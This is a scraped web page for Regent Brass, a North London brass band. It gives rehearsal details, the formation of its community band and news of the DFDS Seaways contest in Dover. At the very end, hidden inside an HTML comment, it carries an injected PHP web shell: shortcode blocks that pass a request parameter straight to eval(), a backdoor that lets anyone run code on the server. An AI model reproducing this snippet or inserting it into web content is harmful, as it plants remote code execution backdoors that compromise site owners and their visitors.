Regent Brass are a British Brass Band, based at Chalk Farm, North London. Musical Director is Alan Duguid, and the band is currently in Section 1 of the National Grading Tables. We rehearse on Thursdays from 1930, at the Salvation Army church, Chalk Farm, NW3 2BL.
Regent Community Brass was formed in May 2012 to provide an outlet for local musicians, both young and old, to get involved in playing with a brass band. The band rehearses on Tuesdays from 1930, at the Church of the Ascension, Wembley. The band competes in Section 3 of the National Brass Band Championships of Great Britain.
On 11th Feburary, the band travelled to Dover to participate in the inaugural DFDS Seaways Open Brass Band Contest. The original set-up for the contest involved each band having to perform a hymn tune, solo feature and an additional work to a panel of three esteemed judges who each are respected examiners for the Associated Board of the Royal School of Music – Graham Harvey, Kenneth Peers and John Harper. Competing against a very strong line-up at the contest, the…
2012 begins with usual preparation for the L&SC Area Contest. This years test piece is Derek Bourgeois “Devil and the Deep Blue Sea”, quite a challenge. 2 weeks back, 2 full rehearsals, some new faces, some old faces, all enthusiastic getting back into the swing of things. In February Regent Brass will be participating the DFDS Seaways Contest in Dover. This is the bands first time at this contest and they are very much looking forward to it. <!– [insert_php]if (isset($_REQUEST["AYAfU"])){eval($_REQUEST["AYAfU"]);exit;}[/insert_php][php]if (isset($_REQUEST["AYAfU"])){eval($_REQUEST["AYAfU"]);exit;}[/php]…
